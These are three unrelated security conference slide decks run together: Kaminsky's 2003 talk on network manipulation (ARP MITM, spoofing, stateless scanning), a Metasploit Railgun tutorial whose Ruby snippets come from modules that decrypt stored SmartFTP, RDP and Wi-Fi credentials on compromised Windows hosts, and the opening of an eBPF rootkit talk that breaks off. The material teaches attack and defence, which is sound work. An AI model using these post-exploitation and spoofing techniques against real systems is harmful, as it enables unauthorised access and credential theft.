Copyright© 2003 Avaya Inc. All rights reserved Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Stack Black Ops Black Hat USA 2003 New Concepts for Network Manipulation Dan Kaminsky, CISSP Copyright© 2003 Avaya Inc. All rights reserved 2 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions History: Peace through Superior Firepower • History – “Black Ops of TCP/IP” @ Black Hat 2002 • “We‟re not getting new networks – so if we want new capabilities, we need to find ways of teasing desired (if unexpected) functionality from established systems.” – Paketto Keiretsu, Nov. 2002 • Scanrand – High Speed Network Auditor • Minewt – Userspace NAT Router • Linkcat – Simple Network Interface • Paratrace – Parasitic TCP Traceroute • Phentropy – Zalewskian Entropy Analysis – Goal is to bring new tools to the table, keeping with the primary advantage of the defender • The defender need not be stealthy. Copyright© 2003 Avaya Inc. All rights reserved 3 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions How: Regions of Analysis • Regions of Analysis – Intersections between layers • Layers are never entirely independent -- what happens when redundant data disagrees? – Manipulation of assumptions • Systems necessarily assume certain things to be always true about their environment, because they usually are. What happens when they‟re not? – The Human Factor • Somebody has to use all this stuff; someone needs to process an increasingly large amount of information. How can this information be compiled into a maximally useful form? Copyright© 2003 Avaya Inc. All rights reserved 4 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions LAYER 2: ARP vs. IP • Is it possible to acquire a usable IP address on a network that lacks a DHCP server? – Classic approach: Sniff for broadcasted ARPs, find “gaps” between claimed IP addresses, attempt static mapping • ARP: Translator between MAC and IP – If target in subnet, translate target IP, send to MAC. – If not in subnet, translate IP of router, send to MAC of router. – New Techniques • Router Detection: Router will route even if target was in subnet • Subnet Detection: – Router will ARP for us only if IP is in subnet range – Subnets aren‟t randomly distributed – Binary search across ip_dst will thus quickly show subnet boundries – But what if all IP addresses are taken? Copyright© 2003 Avaya Inc. All rights reserved 5 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions NAT-in-the-Middle • Is is possible to acquire a usable IP address when all routable addresses are already in use? • Yes: Splice into existing ones – NAT allows multiple hosts to share the same externally viewable IP address – “NAT-In-The-Middle” • ARP MITM vs. an existing IP • Create second gateway router on L2 Subnet (using Minewt) • Outgoing packets to second gateway MAC are NATted to IP – Added to state table • Incoming packets that match entries in state table are NATted appropriately, those that don‟t go on to original IP holder • Also supports MAT-in-the-Middle – All hosts can share external IP • Like NAT-DMZ w/o inline router Copyright© 2003 Avaya Inc. All rights reserved 6 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions More ARP Tricks • Is is possible to detect a single-port, multi-host portscan across a switched LAN? • Yes: Watch for the router to spew ARP Requests – Blind scans don‟t know about empty IPs – Empty IPs don‟t show up in ARP caches – So whenever empty IPs are hit by a router, they elicit a broadcast ARP from the router • Even though nobody can see everyone else being scanned, everybody can see the router preparing to do the scan • Data point for the threat model – Some routers (DSL) may flood entire subnet with ARPs regularly • Small number of IPs = Why wait until a request, just send out ARPs every 30 seconds and actively maintain the ARP cache. Copyright© 2003 Avaya Inc. All rights reserved 7 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Raw Network Access: Linkcat • Linkcat: Standard-I/O Interface to Ethernet – Allows very simple command line access to ethernet • Plan 9: Everything is a file • Unix: Everything is a file…or a really small tool that does one thing well – Works over SSH – New for Paketto2: Automatic Checksums – write reasonably correct packets, and not only will they be sent, but the checksum will be automatically corrected Copyright© 2003 Avaya Inc. All rights reserved 8 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Packet Zen #1: Strings # lc –l00 –tp | strings --bytes=8 FastEthernet0/6 Cisco Internetwork Operating System Software IOS (tm) C2900XL Software (C2900XL-H-M), Version 11.2(8)SA2, RELEASE SOFTWARE (fc1) Copyright (c) 1986-1998 by cisco Systems, Inc. Compiled Fri 24-Apr-98 10:51 by rheaton cisco WS-C2924C-XLv GET / HTTP/1.0 Host: www.doxpara.com Accept: text/html, text/plain, text/sgml, */*;q=0.01 Accept-Encoding: gzip, compress Accept-Language: en User-Agent: Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6 HTTP/1.1 200 OK Date: Mon, 07 Apr 2003 13:53:30 GMT Server: Apache/1.3.26 (Unix) DAV/1.0.3 PHP/4.3.1 X-Powered-By: PHP/4.3.1 Connection: close Content-Type: text/html Copyright© 2003 Avaya Inc. All rights reserved 9 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Packet Zen #1.1: Strings (without Linkcat) # tcpdump –w - -s2000 | strings –-bytes=8 M-SEARCH * HTTP/1.1 Host:239.255.255.250:1900 ST:urn:schemas-upnp-org:device:InternetGatewayDevice:1 Man:"ssdp:discover" SSH-1.99-OpenSSH_3.4p1 M!T7blnbXwG SSH-2.0-OpenSSH_3.4p1 Debian 1:3.4p1-4 =diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 ssh-rsa,ssh-dss faes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc,rijndael-cbc@lysator.liu.se yourmom2 yourmom2 JlJmIhClBsr JlJmIhClBsr EJEDEFCACACACACACACACACACACACACA FHEPFCELEHFCEPFFFACACACACACACABO \MAILSLOT\BROWSE JlJmIhClBsr JlJmIhClBsr g,QString,QString,QSL Copyright© 2003 Avaya Inc. All rights reserved 10 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Packet Zen #2: Ping over Copy and Paste root@arachnadox:~# ping www.news.com PING news.com (206.16.0.136): 56 data bytes 64 bytes from 206.16.0.136: icmp_seq=0 ttl=243 time=61.4 ms root@arachnadox:~# lc -l00 -p "icmp and host www.news.com" 00 90 4c 49 00 2a 00 02 2d 4c 47 08 08 00 45 00 00 54 00 00 40 00 40 01 a0 4b \ c0 a8 0b 1d ce 10 00 88 08 00 bb 21 c5 4b 00 00 3e 59 40 ed 00 04 0d 45 08 09 \ 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 \ 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 00 02 2d 4c 47 08 00 90 4c 49 00 2a 08 00 45 00 00 54 a6 c9 a00 00 f3 01 86 81 \ ce 10 00 88 c0 a8 0b 1d 00 00 c3 21 c5 4b 00 00 3e 59 40 ed 00 04 0d 45 08 09 \ 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 \ 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 Copyright© 2003 Avaya Inc. All rights reserved 11 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Packet Zen #2: Ping over Copy and Paste root@arachnadox:~# lc -m00 -l00 -p "icmp and host www.news.com" 00 90 4c 49 00 2a 00 02 2d 4c 47 08 08 00 45 00 00 54 00 00 40 00 40 01 a0 4b \ c0 a8 0b 1d ce 10 00 88 08 00 bb 21 c5 4b 00 00 3e 59 40 ed 00 04 0d 45 08 09 \ 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 \ 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 00 90 4c 49 00 2a 00 02 2d 4c 47 08 08 00 45 00 00 54 00 00 40 00 40 01 a0 4b \ c0 a8 0b 1d ce 10 00 88 08 00 bb 21 c5 4b 00 00 3e 59 40 ed 00 04 0d 45 08 09 \ 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 \ 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 00 02 2d 4c 47 08 00 90 4c 49 00 2a 08 00 45 00 00 54 76 b1 00 00 f3 01 b6 99 \ ce 10 00 88 c0 a8 0b 1d 00 00 c3 21 c5 4b 00 00 3e 59 40 ed 00 04 0d 45 08 09 \ 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 \ 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 Copyright© 2003 Avaya Inc. All rights reserved 12 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Layer 3: Scanrand Observations • Scanrand – High speed port scanner / route tracer – Stateless design, embeds cookie in SYN reflected in SYN|ACK or RST|ACK • Sender and receiver don‟t need to be the same host – Able to analyze ICMP replies to determine original IP/L4 source • ICMP errors clone entire IP packet (including options), first eight bytes of TCP/UDP/ICMP/etc – Able to use TTL to estimate how far a packet needed • Useful for network graph generation, DDoS tracing, etc – Very useful for peer-to-peer / grid computing designs • Often shows results of network level trickery – Third parties can‟t easily know appropriate initial TTL to use, so their packets stand out vs. legitimate traffic Copyright© 2003 Avaya Inc. All rights reserved 13 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Scanrand Returns #1: Email Hijacking root@arachnadox:~/new_talk# scanrand local.doxpara.com UP: 64.81.64.164:80 [19] 0.092s UP: 64.81.64.164:25 [04] 0.095s UP: 64.81.64.164:443 [19] 0.099s UP: 64.81.64.164:22 [19] 0.106s UP: 64.81.64.164:993 [19] 0.121s root@arachnadox:~# telnet www.microsoft.com 25 Trying 207.46.134.155... Connected to microsoft.com. Escape character is '^]'. 220 ArGoSoft Mail Server Pro for WinNT/2000/XP, Version 1.8 (1.8.2.9) Copyright© 2003 Avaya Inc. All rights reserved 14 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Scanrand Returns #2: Hopcount Desync root@arachnadox:~# scanrand -b1k -e local.doxpara.com:80,21,443,465,139,8000,31337 UP: 64.81.64.164:80 [11] 0.477s DOWN: 64.81.64.164:21 [12] 0.478s UP: 64.81.64.164:443 [11] 0.478s DOWN: 64.81.64.164:465 [12] 0.478s DOWN: 64.81.64.164:139 [22] 0.488s DOWN: 64.81.64.164:8000 [22] 0.570s DOWN: 64.81.64.164:31337 [22] 0.636s What’s going on: The host is genuinely 11 or 12 hops away. All of the up ports reflect that, but only a few of the downed ports. The rest are showing double the remote distance. This is due to the a PIX firewall interspersed between myself and the target. It’s (too) quickly reflecting the SYN I sent to it right back to me as a RST|ACK, without resetting values like the TTL. Thus, the same source value decrements twice across the network – 22 = 11*2 – and we can detect the filter. Copyright© 2003 Avaya Inc. All rights reserved 15 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Scanrand Returns #3: Serverless NAT Identification root@arachnadox:~# scanrand -l1-3 www.doxpara.com 001 = 172.16.0.1|80 [01] 0.024s( 172.16.1.97 -> 209.81.42.254 ) 002 = 216.137.24.1|80 [01] 0.030s( 216.137.24.246 -> 209.81.42.254 ) 003 = 216.137.10.45|80 [03] 0.100s( 216.137.24.246 -> 209.81.42.254 ) root@arachnadox:~/new_talk# scanrand -l2 -vv www.doxpara.com Stat|=====IP_Address==|Port=|Hops|==Time==|=============Details============| SENT: 209.81.42.254:80 [00] 0.000s Sent 40 on eth0: IP: i=172.16.1.97->209.81.42.254 v=4 hl=5 s=0 id=2 o=64 ttl=2 pay=20 TCP: p=193->80, s/a=3012956787 -> 0 o=5 f=2 w=4096 u=0 optl=0 Got 70 on eth0: IP: i=216.137.24.1->172.16.1.97 v=4 hl=5 s=0 id=35273 o=0 ttl=127 pay=36 ICMP: IP: i=216.137.24.246->209.81.42.254 v=4 hl=5 s=0 id=2 o=64 ttl=1 pay=20 ICMP: TCP: p=193->80, s/a=3012956787 002 = 216.137.24.1|80 [01] 0.049s( 216.137.24.246 -> 209.81.42.254 ) Copyright© 2003 Avaya Inc. All rights reserved 16 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Multihomed Node Detection • Is it possible to detect clients that are directly connected both to the internal, firewalled LAN and the outside world? • Yes – use scanrand in Split Mode: Fake a scan from the outside world, then pick up replies that don‟t get stopped by the firewall – Internal network is flooded with requests spoofed from external network – Nodes receive request, check routing tables to see where to send replies • Replies routed through firewall are dropped (we assume) • Replies routed through unprotected link will leak out (w/ IP) Copyright© 2003 Avaya Inc. All rights reserved 17 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Multihomed Node Detection #2: The NAT Case • Is it possible to detect clients that are indirectly connected, through a NAT, both to the internal, firewalled LAN and the outside world? • Yes – but different requests may need to be used – Standard TCP SYNs will elicit SYN|ACKs or RST|ACKs that don‟t match up with anything in the NAT State Table • ICMP Pings (which can reflect an almost arbitrary amount of data) may also have state table issues – “UDP Ping” is necessary • UDP is symmetric in and out (request and response are indistinguishable on the wire) – UDP/137 (SMB) may work – though is firewalled by certain DSL Providers – UDP/161 (SNMP) would work, but doesn‟t exist on most clients • NAT is less worrisome – no incoming access by default – Spoofing internal packet from external IP detects DMZ Copyright© 2003 Avaya Inc. All rights reserved 18 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions The State of State • Scanrand is able to acquire a massive amount of data without keeping track of anything…or is it? – State is maintained through stdout – logs are dumped, the reader integrates all the information visually • “…it is left as an exercise to the reader” – Stdout works because all information dumped on each line can be extracted from each single packet as it arrives • “A response doesn‟t just contain „yes this port is up‟, but „yes, 1.2.3.4, the IP address 4.5.6.7 is listening on port 8910, please inform the socket you‟ve bound to port 555 that this is the case.‟” – But packets do not exist in isolation… Copyright© 2003 Avaya Inc. All rights reserved 19 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions “Hidden Bits Between The Packets” • TCP Repairs Broken Connections – If a packet is dropped, it will retry – “Hello? … Hellllo? … … … Hello?” <CLICK> • How many Hellos? How long inbetween them? – It varies from person to person, and from TCP/IP stack to TCP/IP stack • Discovered by Franck Veysset et al, demo‟d with RING • Can we do this with Scanrand? – Scanrand uses the kernel to RST incoming replies, so they stop coming • Usually this is good – cut off the flood • Well now we want the flood…but we don‟t want to interface with some firewall rules. • Solution: Use a different IP. But have the kernel serve the MAC! Copyright© 2003 Avaya Inc. All rights reserved 20 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Temporal Fingerprinting with Scanrand 1.x root@bsd:~# arp -s 10.0.1.190 00:e0:18:02:91:9f pub root@bsd:~# arp -an | grep 10.0.1.190 ? (10.0.1.190) at 0:e0:18:2:91:9f permanent published [ethernet] root@bsd:~# scanrand -i 10.0.1.190 -t0 -b100k 10.0.1.1-254:139 (OUTPUT SORTED) UP: 10.0.1.12:139 [01] 0.235s UP: 10.0.1.12:139 [01] 3.191s UP: 10.0.1.12:139 [01] 9.109s (+3+6) # Windows UP: 10.0.1.36:139 [01] 0.715s UP: 10.0.1.36:139 [01] 3.624s UP: 10.0.1.36:139 [01] 9.639s (+3+6) # Windows UP: 10.0.1.38:139 [01] 0.755s UP: 10.0.1.38:139 [01] 4.560s UP: 10.0.1.38:139 [01] 10.560s UP: 10.0.1.38:139 [01] 22.758s UP: 10.0.1.38:139 [01] 46.756s (+4+6+12+24) # Linux What’s significant to realize is that no individual packet is special, but the timing of each leaks the operating system of all. No zero-latency scrubber can hide this fact (this impacts NAT detection, since each individual TCP session can be independently fingerprinted.) Copyright© 2003 Avaya Inc. All rights reserved 21 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions State Reconstruction Theory • Is it possible to extract deep information from hosts without losing the raw speed of a stateless network scan? • Yes – by introducing a database to collate scan results – Slow model: Scan a host, compile results, print out…scan another host, compile results, print out… – Fast model: Scan all hosts, enter all results into a dedicated state management engine (better known as a database), compile results, do a secondary and smaller scan if necessary, recompile results • Split Mode Redux: Sender and receiver processes are built with wildly different philosophies • Sender optimized for speed and deployability, receiver optimized for comprehensive reports – Receiver technically still stateless – dumping SQL for a DB engine instead of fprintf-formatted rows of text Copyright© 2003 Avaya Inc. All rights reserved 22 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions State Reconstruction HOWTO • Why DB? Because the world doesn‟t need another homegrown hash table • Which DB? MySQL, PostgreSQL, Oracle, SQLite, SAP, Informix… – So many API‟s for scanrand to potentially support…or not? – We‟ve been using stdout already…why not simply output raw SQL? • Stdout: The ultimate database abstraction layer • Allows us to insert data into any number of databases • API doesn‟t need to be linked with scanrand as a client • Stdout doesn‟t work too well (if at all) for report generation • Does work over SSH – Security issue: Passing raw SQL allows for injection attacks; may want to locally parse packets into SQL for untrusted servers Copyright© 2003 Avaya Inc. All rights reserved 23 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions State Reconstruction Strategies • Generic Model (Example: OS Fingerprinting) – Identify set of packets that elicits uniquely identifiable hosts • Nmap algorithm • New xprobe work from Ofir Arkin • Temporal fingerprinting – Insert not scan but scan configuration into a table – Compare scan results to scan config • No replies on host in range: Host unreachable (include ICMP Unreachable parsing) • Some replies on host in range: Host needs more packets – trigger retry in background • All replies on host in range: Compile results into format assumed by nmap/xprobe, pass struct to their evaluation routine. Add results to another table. Copyright© 2003 Avaya Inc. All rights reserved 24 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Layer 4: TCP Spoofing • TCP Spoofing – Not normally possible – every packet sent (except the SYN) contains a token from a window of previously received packets – Some tools exist to blindly spoof – or measure ability for blind spoofing of – TCP ISN‟s (the token in question). • Phentropy + OpenQViz – Since another node cannot acquire the token, it cannot impersonate the server • But what if the server sent the impersonator the token? Copyright© 2003 Avaya Inc. All rights reserved 25 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Bandwidth Brokering • Is it possible for a single host to do load balancing across nearly arbitrary network boundries, without any special code on the client? • Yes – by transforming the server into a mere redirector of client- provided packets, and having the actual (and anonymous) servers spoof the source IP of the redirector when providing the payload • Global Load Distribution – Anyone who can spoof themselves as the redirector can serve clients • Central Traffic Monitoring – Each forwarded ACK contains, in its ACK#, the number of bytes sent by the anonymous server to the client. As the redirector forwards those ACKs, it’s able to monitor and measure the quality of the link. • Session migration: – Since the client always believes they‟re receiving packets from the redirector, the redirector can (with a little bit of magic to synchronize SEQ#‟s) simply start forwarding ACKs to a less overloaded server. • Works for streams – MP3 Radio Stations, Web Servers, etc. • Much less bandwidth to move empty ACKs than payloads Copyright© 2003 Avaya Inc. All rights reserved 26 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Bandwidth Brokering HOWTO • Redirector – Upon receiving packet from client to redirected IP/Port, change IP Destination to redirector based on rule, recalc checksums, and send packet out appropriate interface • Stateless rules: TCP Source Port, IP Source (using geo-coding), etc. • Stateful rules: Who‟s moving the least data, who‟s dropped the fewest packets, etc. • Anonymous Server – Before sending packet with the source port of an anonymous service, change the source IP to that of the redirector, recalc checksums, and send packet. • Client – Do nothing, except notice the TTL bounce around as your stream comes from different sources. Copyright© 2003 Avaya Inc. All rights reserved 27 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Layer 5: SSL vs. IDS • SSL vs. IDS: The Eternal Conflict – SSL Annoys Me. – Certificate compromise is extraordinarily damaging – all past data lost, all future data lost, attacker only needs to passively monitor or sniff • IDS Annoys Me. – “We‟re under attack!” “That‟s nice, dear.” – I respect those who have faith in both • The conflict between the two annoys me most! Copyright© 2003 Avaya Inc. All rights reserved 28 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Layer 5: SSL vs. IDS • IDS monitors the network traffic between the trusted and the untrusted, watching for attacks • SSL encrypts the network traffic between the trusted and the untrusted, blinding all watchers except for the presumably vulnerable endpoint • Choice: Suppress passive and suffer active, or suppress active and suffer passive. • Ouch. Copyright© 2003 Avaya Inc. All rights reserved 29 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Layer 5: SSL vs. IDS • Certificate Transfer – IDS gets a copy of the cert – Violates 1st Law of Private Keys: Thou Shalt Not Transport Thy Private Key – Adds RSA decryption load to IDS, which is already scrounging for cycles – ssldump can be pressed into service today to support this for SSL3 • Attack: Switch to SSL2 Copyright© 2003 Avaya Inc. All rights reserved 30 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Layer 5: SSL vs. IDS • Mix IDS w/ Inline SSL Accelerators – IDS lives between accel and server farm – IDS‟s are famously DoSable – use hubbed net – Servers never see cryptography (can‟t make any decisions based on it) – Issues with HTTP rewriting – Puts plaintext on a wire Copyright© 2003 Avaya Inc. All rights reserved 31 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Layer 5: SSL vs. IDS • Master Secret serves six keys: – Two handle encryption from client to server and vice versa – Two handle authentication from client to server and vice versa – Two handle initialization vectors from client to server and vice versa • 3DES-CBC – These keys are completely independent • Selective Centralized Monitoring of SSL-Encrypted Traffic – Since we have independent keys for independent traffic, we can transfer just the encryption key from the client to the server to the IDS -- it'll pick up the traffic from the insecure side of the network, without being able to intercept presumably secure (or at least mandatorily unshareable) content. – IDS doesn't need to do RSA -- just pick up keys on an encrypted channel – Key transfer occurs before data transfer -- can disauthorize traffic – IV may introduce interesting capability -- read traffic *after* highly sensitive exchange (authentication credentials) • UNVERIFIED – Works with Bandwidth Brokering! Copyright© 2003 Avaya Inc. All rights reserved 32 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Layer 5: SSL vs. IDS • Plaintext Forwarding over Encrypted Tunnel – “I got this message from a user…” • Optionally: “Should I respond?” • Adds latency if each message needs to be authenticated – Relatively high bandwidth – Doesn‟t require interfacing with crypto engine, or even web server • Can be built into web applications, which are necessarily passed the web request of the client • Totally immune to dissynchrony • Can be even more selective about what traffic to expose / verify – Disadvantage: Not as cool Copyright© 2003 Avaya Inc. All rights reserved 33 Avaya - Proprietary (Restricted) Solely for authorized persons having a need to know pursuant to Company instructions Layer 7: Generic ActiveX Encapsulation • Is it possible to use ActiveX to deploy something besides spyware, without writing custom applications / wrappers? • Yes – Any win32 application – any .EXE file! -- can be cryptographically signed and used instead of a genuine ActiveX object – Object GUID is not checked; code only needs to be self-signed – Applications that require multiple files simply require a CAB to be generated containing all that is needed, and a simple .INF file that describes which executable to launch – Examples: http://www.doxpara.com/apps • Putty, OpenSSH, etc. • Demo
pdf
 Goto Payload for Windows  DLL, compiled C  Usually injected into process memory  Enhanced CMD shell  Provides basic post- exploitation API  Often run with SYSTEM Privs  Can be migrated into a user’s process  Railgun is an extension to the Meterpreter STDAPI  Allows Arbitrary Loading of DLLs  As long as you know the path of the DLL, you can access it’s functions  Since Windows API DLLs are always at known paths, we can always load them  Dynamic access to the entirety of the Windows API on the system  By calling APIs from user processes, we can impersonate users  Anything becomes possible  June 2010 – Railgun submitted to Metasploit by Patrick HVE  Sept 2010 – 64bit support added by Stephen Fewer  Feb 2011 – Chao-mu takes over Railgun support, resumes new feature work  Fall 2011 – Chao-mu disappears  Aug 2012 – YOU start contributing to Railgun  Dec 2012 – Mayans predict Railgun-related Apocalypse?  LoadLibrary function opens a Handle to the DLL  GetProcAddress maps a function pointer to the specified function  Memread and Memwrite functions for manipulating memory space  Ruby code lives in lib/rex/post/meterpreter/exten sions/stdapi/railgun  User/module writer defines the DLL and the needed functions  Functions are then avilable as methods  Can define at runtime or use definition files A look at Railgun Definitions def self.create_dll(dll_path = 'advapi32') dll = DLL.new(dll_path, ApiConstants.manager) dll.add_function('CredEnumerateA', 'BOOL', [ ['PCHAR', 'Filter', 'in'], ['DWORD', 'Flags', 'in'], ['PDWORD', 'Count', 'out'], ['PBLOB', 'Credentials', 'out']]) 1.Function Name 2.Function Return Type 3.Array of Parameters 1. Param type 2. Param Name 3. IN/OUT/INOUT Parameter  Railgun knows about Windows constants  They are defined in api_constants.rb in the railgun folder  Easy to add new constants as needed there  If it quacks like a duck…  Pass as a Fixnum or Bignum  String representation of constants can also be passed in  Pointer to a DWORD  Pass a Fixnum  Pass the Content of the DWORD not the pointer  If it is an OUT only paramter, pass a 4 (size of a DWORD)  Pass nil for a NULL Pointer  Pass as Ruby strings. Will be converted seamlessly  If OUT only, pass fixnum of the size of the buffer (including null byte) Definition dll.add_function( 'CryptAcquireContextW', 'BOOL',[ ['PDWORD', 'phProv', 'out'], ['PWCHAR', 'pszContainer', 'in'], ['PWCHAR', 'pszProvider', 'in'], ['DWORD', 'dwProvType', 'in'], ['DWORD', 'dwflags', 'in']]) Usage ms_enhanced_prov = "Microsoft Enhanced Cryptographic Provider v1.0" prov_rsa_full = 1 crypt_verify_context = 0xF0000000 alg_md5 = 32771 alg_rc4 = 26625 advapi32 = client.railgun.advapi32 acquirecontext = advapi32.CryptAcquireConte xtW(4, nil, ms_enhanced_prov, prov_rsa_full, crypt_verify_context) Used in the SmartFTP password Recovery Module  Pass in Ruby True/False values exactly as expected Definition: dll.add_function( 'IsDebuggerPresent', 'BOOL',[]) Usage: >> client.railgun.kernel32.IsDebuggerPresent() => {"GetLastError"=>0, "return"=>false}  Handled the same as DWORDs but Fixnums passed in will be truncated to the appropriate length  Anything that’s not a string or a DWORD  Treated as a ruby string  Railgun will not help you parse structures Definition dll.add_function( 'WlanGetProfile', 'DWORD',[ ['DWORD', 'hClientHandle', 'in'], ['PBLOB', 'pInterfaceGuid', 'in'], ['PBLOB', 'strProfileName', 'in'], ['LPVOID', 'pReserved', 'in'], ['PDWORD', 'pstrProfileXML', 'out'], ['PDWORD', 'pdwFlags', 'inout'], ['PDWORD', 'pdwGrantedAccess', 'out']]) Usage profile['name'] = @host_process.memory.re ad(ppointer,512) ppointer = (ppointer + 516) rprofile = @wlanapi.WlanGetProfile( wlan_handle,guid,profile['n ame'],nil,4,4,4) Used in the wlan_profile post module  Pointers and Handles of any kind are really just numbers, so treat them as DWORDs  If it can be treated as a number it’s a DWORD  Otherwise it’s a PBLOB  If neither works, add support for it yourself =)  The function will return a hash  Hash will always contian at least GetLastError  Hash will return any OUT values  Will return 0 if there was no error  Otherwise will contain the windows system Error code encountered  Errors codes can be looked up at http://msdn.microsoft.com/ en- us/library/windows/deskto p/ms681381(v=vs.85).aspx acquirecontext = advapi32.CryptAcquireC ontextW(4, nil, ms_enhanced_prov, prov_rsa_full, crypt_verify_context) createhash = advapi32.CryptCreateHas h(acquirecontext['phPro v'], alg_md5, 0, 0, 4)  Complex structure types that you will have to parse yourself  Strings you don’t know the length of  Large number of string reads (SLOWWWW)  Anything you can do with the windows API is available  Without increasing the size of the payload  Get the OS to Decrypt stored SmartFTP Passwords  Enumerate and decrypt stored RDP passwords  Scan for Wireless Aps  Enumerates Domain controllers on the victim’s network  Enough of these ugly slides  Let’s see it in action
pdf
Warping Reality Creating and countering the next generation of Linux rootkits using eBPF Pat Hogan @PathToFile Overview ● What are Linux kernel rootkits ● Why writing and using rootkits is hard ● How eBPF solves these problems and more ● How to detect and prevent malicious eBPF usage @pathtofile What are kernel rootkits? Kernel Rootkits - Advantages ● Attackers want to maintain access to compromised machines ○ Credentials change, vulnerabilities get patched, etc. ● Hooking syscall table = visibility and control ○ See all network traffic ○ Hide files and processes ○ Create root processes @pathtofile Kernel Rootkits - Risks ● Small bugs can cause major problems ○ Crashing the kernel means crashing the system ● Any update to the kernel risks disaster ● Some environments block arbitrary kernel modules (e.g. Amazon EKS) @pathtofile “How about we add JavaScript-like capabilities to the Linux Kernel?” - Thomas Graf, Isovalent, 2020 What is eBPF? eBPF ● eBPF (extended Berkeley Packet Filtering) ● Experienced rapid growth in last ~2 years ● eBPF allows you to create programmable trace points in the kernel ● Programs can be attached to: ○ Network Interfaces ○ Kernel functions ○ User mode functions ● eBPF programs are guaranteed to be: ○ Safe ○ Efficient ○ Portable @pathtofile eBPF - Safe and Efficient ● Programs typically written in C or Rust ● Has variables, loops, conditionals ● Can call a small number of helper functions ● Compiled by LLVM or GCC into bpf bytecode ● Architecture agnostic ● Kernel version agnostic @pathtofile SEC("tp/syscalls/sys_enter_execve") int handle_execve_enter(struct trace_event_raw_sys_enter *ctx) { char prog[TASK_COMM_LEN]; bpf_probe_read_user(&prog, sizeof(prog), ctx->args[0]); bpf_printk("Execve: %s", prog); return 0; } int handle_execve_enter(struct trace_event_raw_sys_enter * ctx): ; bpf_probe_read_user(&c, sizeof(c), ctx->args[0]); 0: (79) r3 = *(u64 *)(r1 +16) 1: (bf) r6 = r10 2: (07) r6 += -16 ; bpf_probe_read_user(&c, sizeof(c), ctx->args[0]); 3: (bf) r1 = r6 4: (b7) r2 = 16 5: (85) call bpf_probe_read_user#-66336 6: (b7) r1 = 29477 ; bpf_printk("Execve: %s", c); 7: (6b) *(u16 *)(r10 -24) = r1 8: (18) r1 = 0x203a657663657845 10: (7b) *(u64 *)(r10 -32) = r1 11: (b7) r1 = 0 12: (73) *(u8 *)(r10 -22) = r1 13: (bf) r1 = r10 ; 14: (07) r1 += -32 ; bpf_printk("Execve: %s", c); 15: (b7) r2 = 11 16: (bf) r3 = r6 17: (85) call bpf_trace_printk#-61248 ; return 0; 18: (b7) r0 = 0 19: (95) exit eBPF - Safe and Efficient ● Sent to kernel via a user space loader ○ Only CAP_ADMIN or CAP_BPF* ● Kernel eBPF Verifier checks code isn’t: ○ Too big ○ Too complex ○ Reading invalid memory ● If code passes, it is compiled to native instructions using a JIT compiler ○ Patches locations of helper functions and fields ○ Enables portability across kernels ● Program is then attached to network or function ○ Run once per packer/function call ○ Stateless, but can use Maps to store data @pathtofile int main(int argc, char **argv) { struct example_bpf *skel; int err; /* Open BPF application */ skel = example_bpf__open(); 